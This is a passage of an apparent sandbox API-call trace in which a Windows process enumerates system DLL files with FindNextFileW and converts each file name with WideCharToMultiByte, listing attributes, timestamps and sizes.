out: lpMultiByteStr="API-MS-WIN-CRT-RUNTIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.748] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.748] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STDIO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d336dc, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x4560, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x90c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", cchWideChar=30, lpMultiByteStr=0x90c120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-TIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 30 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CRT-UTILITY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8504010, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8504010, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8d5983d, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-eventing-provider-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x90c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-EVENTING-PROVIDER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d1a7690, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-security-base-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x90c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-BASE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f381b9f, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f381b9f, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f37fbd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-security-lsalookup-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x90c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x4f3a7cfe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x4f3a7cfe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x4f3a6cd0, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-security-sddl-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0041.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x90c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0041.749] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-service-core-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x90c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-CORE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x90c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x90c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x90c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x90c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x90c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0041.750] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x90c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x90c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x90c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x90c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x90c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0041.751] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0041.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, 